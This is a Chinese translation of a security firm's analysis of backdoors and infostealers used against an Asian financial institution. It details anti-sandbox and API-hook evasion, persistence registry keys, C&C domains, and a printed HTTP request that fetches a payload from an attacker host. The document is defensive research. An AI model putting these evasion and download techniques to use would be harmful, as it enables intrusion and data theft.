source:http://www.cyphort.com/multiple-malwares-used-to-target-an-asian-financial-institution/
0x00 前言
近来, Cyphort Labs已收到多种针对于亚洲某金融机构的恶意软件,由于某进行中的研究,我们将匿名该公司.
来源已经表明,攻击的起始入口为其中一名雇员打开了某收到的鱼叉式钓鱼邮件,攻击涉及到了多种后门和用于窃取信息的木马。一些恶意软件具有反沙盒属性且含有对抗heuristic signatures(一般被反病毒公司使用)的保护.多种恶意软件样本也展示了某种一般性的主题,例如:将自身安装到%ProgramFiles%
或%UserProfile%
文件夹(取决于用户是否有admin特权)中.此外,多数的恶意软件样本是用Borland Delphi
编译的,它们带有已加密的字符串和API字符串(被混淆或被分为多个字符串)作为保护以对抗heuristic signatures技术.除了某个样本外,其它样本都没被加壳。
以文件的创建日期为根据,它的出现早于2015年2月,并已持续了三个多月
在该攻击中使用的样本概要
技术分析
0x01 技术分析
GoogleUpdate.exe
今天,流行的恶意软件中,文件的文件结构通常并不像我们看到的那样.为什么?因为在今天,多数AV产品部署了基于启发式的检测技术(检测加壳样本和某些具有非常规文件结构的样本).该恶意软件没被加壳且区段类似于某正常文件.
被加密的字符串只在被使用前解密.恶意软件通常将其API字符串分为多个字符串.这也为了躲避heuristic signatures(检测字符串和可疑APIs).
如果用户有admin特权,则它将其自身副本移动到%Pr0gramFiles%文件夹中.如果不是则不移动 如果具有admin特权:
%ProgramFilesDir%/Windows NT/Accessories/nt/GoogleUpdate.exe
如果不具有admin特权:
%UserProfile%/Applications/GoogleUpdate.exe
它作为某种服务(带有”SENSS”服务名)安装自身.
在检查(它是否成功作为某种服务在运行)之后,检查父进程是否为explorer.exe或iexplore.exe.该dll被加密(通过XOR 0x89作为密钥)
反沙盒
检测Sleep加速功能
为了挫败沙盒,该恶意软件凭借sleeps或loops拖延恶意软件的执行,因为他知道某沙盒系统将会在限制的短时间内执行恶意软件.
通过对比,一旦位于你的系统内,恶意软件将有大量时间来实现它的恶意意图。为了挫败该保护,沙盒系统部署了加速功能, 即如果他们检测到某样本使用某种延迟技术,它将加速该样本的执行.例如,如果它检测到该样本sleeps一分钟那么该系统将其改为sleeps 1秒。不幸的是, 对该恶意软件来说,这种技术已经不起作用了.该恶意软件可通过发布某个sleep以检测到sleep的加速,之后在得到消逝时间的同时检查消逝的时间是否比sleep的时间短
检测API钩子
沙盒系统也会钩住APIs以监控某文件操作.该恶意软件通过检查某API的第一条指令是否为jmp,call或一push-retn来检测钩子.它检查某API地址的起始字节是否为如下字节:
- E8
- E9
- EB
- FF
- 68????????C3 (push retn)
Payload
被注入的代码是某后门,它被用于与如下C&C服务器通信:
bbs.gokickes.com:80
img.lifesolves.com:8080
domain.gokickes.com:443
取决于后门中的命令,该恶意软件有如下功能:
下载并执行额外的文件
捕获屏幕截图
捕获鼠标和键盘事件记录
更新自身
打开远程shell
终止进程
枚举网络共享
枚举驱动器
卸载自身
最后所有被发送和服务器中接收的数据用0xd5进行异或操作实现加密
mslives.exe
该样本与GoogleUpdate.exe有类似的文件结构.但是它没有部署类似的反沙盒功能.
运行第一次时,在进行它的安装计划前将sleeps300秒。之后,如下所示它创建某自身副本
%ProgramFiles%/Windows NT/Accessories/Microsoft/mslives.exe
然而,该副本的文件末尾写入了大量垃圾数据,它的大小比自身大小大了100MB。它将对该文件进行1000次的写入100KB操作.为避开沙盒这里做了两件事.首先,该恶意软件不创建自身副本(让该恶意软件的行为不寻常并出现 使该恶意软件行为不寻常并可能因有利操作而出现于沙盒.通常恶意软件操作是为了创建某确切的自身副本。其次,多次写操作事件可能超过沙盒的限制.释放的文件副本的大小让沙盒可信任
它用CreateProcess执行它的副本接着检查是否作为Iexplore.exe运行,如果不是,它将创建一个被挂起的iexplore.exe进程并将它的代码通过覆盖iexplore.exe的主模块的方式注入其中, 它创建隐藏的windows窗口名和类名“111111”, 然后创建一自启动注册表入口如下(让其在每次机器启动时自动启动)
HKLM/Software/Microsoft/Windows/CurrentVersion/Run
Valuue: msliveupdate
Data: %ProgramFilesDir%/Windows NT/Accessories/Microsoft/mslives.exe
Payload
该样本只有一个目的,该目的是下载并执行从 forum.energymice.com.
中下载的文件
GET /view/login.asp HTTP/1.1
Content-Type: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Win32; 5.1)
Host: forum.energymice.com
Cache-Control: no-cache
将下载的文件放入%TEMP%
文件夹中并执行它.不幸的是,在我们分析的同时,用于下载的URL没返回任何程序
winhost.exe
不想其它文件,该文件明显被加壳了.PEID识别壳如下:
ASProtect 1.2x – 1.3x [Registered] -> Alexey Solodovnikov
该文件是一个命名为”HDOOR”的后门因为我们在其自身发现的该字符串。我们也发现其它有趣的字符串(指明被使用的保护程序)
HDoor, Version 1.0
Copyright (C) 2013
(c) 2010 DYAMAR EnGineerinG, All rights reserved, http://www.dyamar.com.
该后门监听143端口并等待客户端连接和发布命令.143
端口是默认的IMAP non-encrypted
端口IMAP或(因特网信息通道协议)是邮箱协议的一种(被使用于某本地客户端上访问位于远程web服务器的电子邮箱.
它检查用户是否有admin特权.如果用户有admin特权,它将作为某服务安装自身并将其副本存放在如下目录:
%ProgramFiles%/Common Files/System/NT/lib/winhost.exe
如果用户没有admin特权,将如下安装自身并在注册表中构造一个自启动键入口
%USERPROFILE%/System/winhost.exe
自启动注册表如下:
HKLM/Software/Microsoft/Windows/CurrentVersion/Run
Value: Microsoft Messenger
Data: %USERPROFILE%/System/winhost.exe
Payload
它有能力执行如下操作(取决于攻击者的命令)。
- 断开连接
- 得到后门的安装路径
- 列出文件或目录
- 输入某txt文件的内容
- 执行某程序
- 下载某文件
- 得到某CMDShell
- 退出某CMDShell
- 上传某文件
- 下载某个文件
- 加载 dll 库
- 释放 dll 库
nethost.exe
安装它自身副本位置取决于用户是否有admin特权:
如果用户有admin特权:
%ProgramFiles% /common files/system/library/nethost.exe
作为某种服务安装自身:
HKLM/System/CurrentControlSet/Services/ncoglsse
DisplayName = Microsoft Wireless Device Service
ImagePath = %ProgramFiles% /common files/system/library/nethost.exe
如果没有admin特权:
%USERPROFILE% /system/library/nethost.exe
构造如下自启动键
HKCU/Software/Microsoft/Windows/CurrentVersion/Run
Value: “ncoglsse”
Data: %ProgramFiles%/common files/system/library/nethost.exe
在安装之后,它将被注入到lsass.exe以驻存于内存并执行它的payload.
Payload
从如下URLs中下载
http://hud321.astringer.com/images/log.gif
http://grop.waterglue.org/images/logg.gif
http://hud.astringer.com/images/log.gif
被下载的文件内容是被加密的URLs(用它以连接到其C&C).恶意软件用HTTP POST连接到该URL并发送如下信息。
- IP 地址
- Language ID
- 恶意软件的版本
- 操作系统的版本
- 机器名
它从C&C中接收命令且有能力做到如下:
在你PC上收集关于驱动器和文件夹的信息
列出文件
下载文件
终止文件
打开 CMD shell
Shell64.dll
Shell64_u.dll-加载器组件 加载器组建被当作某种服务运行,加载组件并确保完全感染.服务,包括服务名(通过恶意软件释放程序来配置,它在编写时是不可知的.字符串被嵌入于加载器组件(促成程序用Dyamar保护程序加壳),但二进制程序没有留下彻底被保护的痕迹.
通过宏和大量的混淆字符串促成简明的混淆元素,表明该行为试图让分析变得更复杂但它可轻易被绕过.同时程序也由三部分假输出构成,展示了更多的混淆元素.有趣的是,程序保留一个日志文件,定位于C:/debug.txt,该位置被写入调试信息.
ServiceMan将直接执行某导出表,或是低于Windows操作系统6.0版本的loadFunc
或是6.0及以上版本的win7load
.表明导出表加载间谍组件,通过某个弹出的rundll32.exe进程(带有有根据的参数集).第二个二进制程序导出两个函数,’main‘和’lowmain‘,它再次兼容6.0上下的操作系统版本.
Shell64.dll –间谍组件
该组件由内部名为’Server.dll’模块构成.它导出‘main’ 和‘lowmain函数,main函数服务于6.0及以上的操作系统版本,lowmain服务于6.0以下的操作系统版本.仅像加载器组件那样,该二进制程序创建并持有C:/debug.txt
文件(写入被调试的信息)
在启动shell64.dll期间创建某命名为mutext的文件,称号为Global/KongQi[TickCount]
,TickCount的位置实时记录感染次数。同时恶意软件创建某个命名为view的进程,他被使用于在线程和介入的进程间交换运行时信息,称号为’_kaspersky’.选择该称号毫无疑问是为了提高窃取的隐蔽性
在启动恶意软件期间,它获取关于被感染系统的信息并将其发到它的远程服务器。信息包括:
主机名
系统cpu电源
操作系统版本
Drive geometry for PHYSICALDRIVE0
全局内存状态
视频捕获驱动的描述信息
进程列表中正运行的安全产品
枚举安全产品
如下列表所示为: 搜索到的安全产品
如下为被枚举到的防火墙安装情况
Norton Personal Firewall
ZoneAlarm
Comodo Firewall
eTrust EZ Firewall
F-Secure Internet Security
McAfee Personal Firewall
Outpost Personal Firewall
Panda Internet Seciruty Suite
Panda Anti-Virus/Firewall
BitDefnder/Bull Guard Antivirus
Rising Firewall
360Safe AntiArp
间谍功能
一旦恶意软件完成部署,则等待接收来自远程服务器的指令.它的功能相当多,且被设计来在被感染系统中窃取数据.用deflare
算法压缩被窃取的信息并将其发送到某远程服务器.如下为分析出的函数列表:
- Video Captures使用某命名为CVideoCap的捕获窗口,压缩视频时使用Windows VCM API(视频压缩管理器)
- 从系统的声音输入设备中捕获信息,如麦克风
- 从当前桌面的粘贴板窃取数据,他可从密码管理器中提取密码
- 捕获截图并压缩它们,作为某数据流潜逃
- 样本含有某用户态键盘记录器,通过SetWindowsHookEx设置全局windows钩子以监听键盘事件,它通过Windows IMM API(Input Method Manager)解析;键击记录被转储到某’jpjl.dat’文件中
- 清理事件日志(’应用‘,’安全‘,’系统‘),一般是为了擦除某次入侵的取证证据.
- 关闭系统,意外强制重启
- 创建某本地用户名的描述‘This user account is used by the Visual Studio .NET Debugger’
- 下载文件并执行它们
- 执行硬盘中其他的二进制程序
- 在系统上枚举文件和文件属性,修改并删除文件和目录
- 枚举已打开程序的窗口名
- 枚举系统属性如操作系统版本,cpu电源或硬盘的内存容量,系统运行时间,处理器数,机器上运行中的安全产品的进程名,计算机名,当前用户的用户名,已附加的驱动器.
- 枚举dial-up连接参数,例如电话号码和设备名
- 开启终端服务并允许远程连接
- 弹出消息窗口
- 开启某socket来发送并接收数据
删除它的文件并持续机器中的某机制,等等.卸载服务并移除某自启动注册表(位于[HKLM]/../CurrentVersion/Run named ‘MSLiveMessenger’
);这是不易理解的想法,创建该键的方法可从如下链接中了解到: http://www.cyphort.com/multiple-malwares-used-to-target-an-asian-financial-institution/#sthash.O2q4UOUI.dpuf
持续性手段
设计二进制程序以在Windows服务的上下文内运行,假定通过某释放程序搭建.服务名也不明确,因为它是由释放程序设置的.然而,恶意软件的功能有: 将其payload注入到远程进程并含有注入到winlogon.exe的函数(在Windows6.0之前的版本中)
dllhost.exe
该恶意软件不会做更多事.它仅试图从blog.softfix.co.kr:80
下载东西
0x02 幕后是谁?
使用C&C服务器的攻击者在韩国注册的注册记录看起来是伪造的.多数C&C服务器也拥有hugedomains.com,该公司之前售卖拥有的域名和隐藏信息服务.我们也可以意识到字符串位于二进制程序中,它显然不是来自本地的
C&C使用的whois记录如下
bbs.gokickes.com:80, domain.gokickes.com:443 (GoogleUpdate.exe)
Emails dodomonk@mail.com (a, t, r)
Names smith jack (a, t, r)
Organizations
Streets seoul, korea (a, t, r)
Cities seoul (a, t, r)
States seoul (a, t, r)
Postals 158070 (a, t, r)
Countries KR (a, t, r)
Phones 8245896312 (a, t, r)
img.lifesolves.com:8080 (GoogleUpdate.exe)
Emails jimkimteen@mail.com (a, t, r)
Names zhang yunqiang (a, t, r)
Organizations
Streets Taiping Road (a, t, r)
Cities seoul (a, t, r)
States seoul (a, t, r)
Postals 100-744 (a, t, r)
Countries KR (a, t, r)
Phones 82527656289 (a, t, r)
softfix.co.kr (dllhost.exe)
Registrant : gson
Administrative Contact(AC) : zhang yunqiang
AC E-Mail : jimkimteen@mail.com
Registered Date : 2014. 01. 08.
Last Updated Date : 2014. 01. 08.
Expiration Date : 2016. 01. 08.
Publishes : N
Authorized Agency : Gabia, Inc.(http://www.gabia.co.kr)
DNSSEC : unsigned
diskoco.com (mpsvc.exe)
Registrant Name:yang qi
Registrant Organization:yang qi
Registrant Street:Guancheng District No126
Registrant City:dong guan
Registrant State/Province:Guangdong
Registrant Postal Code:523000
Registrant Country:China
Registrant Phone:+86.0769 89098138
Registrant Phone Ext:
Registrant Fax:+86.0769 89098200
Registrant Fax Ext:
Registrant Email:softmoon@mail.com
forum.energymice.com (mslives.exe)
Registrant Name: Domain Admin
Registrant Organization: HugeDomains.com
Registrant Street: 2635 Walnut Street
Registrant City: Denver
Registrant State/Province: CO
Registrant Postal Code: 80205
Registrant Country: US
Registrant Phone: +1.303.893.0552
Registrant Phone Ext:
Registrant Fax:
Registrant Fax Ext:
Registrant Email: domains@hugedomains.com
astringer.com (nethost.exe)
Registrant Name: Domain Admin / This Domain is For Sale
Registrant Organization: HugeDomains.com
Registrant Street: 2635 Walnut Street
Registrant City: Denver
Registrant State/Province: CO
Registrant Postal Code: 80205
Registrant Country: US
Registrant Phone: +1.303.893.0552
Registrant Phone Ext:
Registrant Fax:
Registrant Fax Ext:
Registrant Email: domains@hugedomains.com
waterglue.org
Registrant Name:Registration Private
Registrant Organization:Domains By Proxy, LLC
Registrant Street: DomainsByProxy.com
Registrant Street: 14747 N Northsight Blvd Suite 111, PMB 309
Registrant City:Scottsdale
Registrant State/Province:Arizona
Registrant Postal Code:85260
Registrant Country:US
Registrant Phone:+1.4806242599
Registrant Phone Ext:
Registrant Fax: +1.4806242598
Registrant Fax Ext:
Registrant Email:WATERGLUE.ORG@domainsbyproxy.com
0x03 结论
恶意软件无需变得高级
这些恶意软件不高级,同时它们是恶意软件的家族成员,我们在之前看到它们也能绕过安全检测.恶意软件驻存了长达三个月的时间(给予攻击者充分的时间进行操作).这证明了恶意软件不必高级也能完成任务
使用AV仍是我们最好的防御手段,他们隔离主要的安全事件,因为有太多恶意软件的攻击者用多种不同的技术(没有单一安全解决方案停止这些攻击).这是我们需要多种安全解决方案的原因,同时,在我们各自的群体中,我们也需要保护人们的安全.
为何进行鱼叉式钓鱼?
恶意软件的初始入口是某次鱼叉式钓鱼(针对前面提到的公司).根据TrendMicro 中的报告,鱼叉式攻击仍然是最常见的APT攻击手段.报告中表明:“APT活动频繁使用鱼叉式钓鱼手段,本质是让高级阶层的目标打开钓鱼电子邮件从而拿下目标.
对于攻击者来说,猜测某组织中的邮箱地址尤其简单,如果目标是高级阶层的官员(由于在线可看到他们的名字).攻击者可通过在线搜索信息而轻易拿下他们的资料.这使攻击者可根据目标的资料自定义他们的攻击行为
这是一则保护我们组织的消息,我们也必须教育并培训所有在我们组织中的人们(进行安全实战),以免遭受这些类型的社会工程学攻击威胁.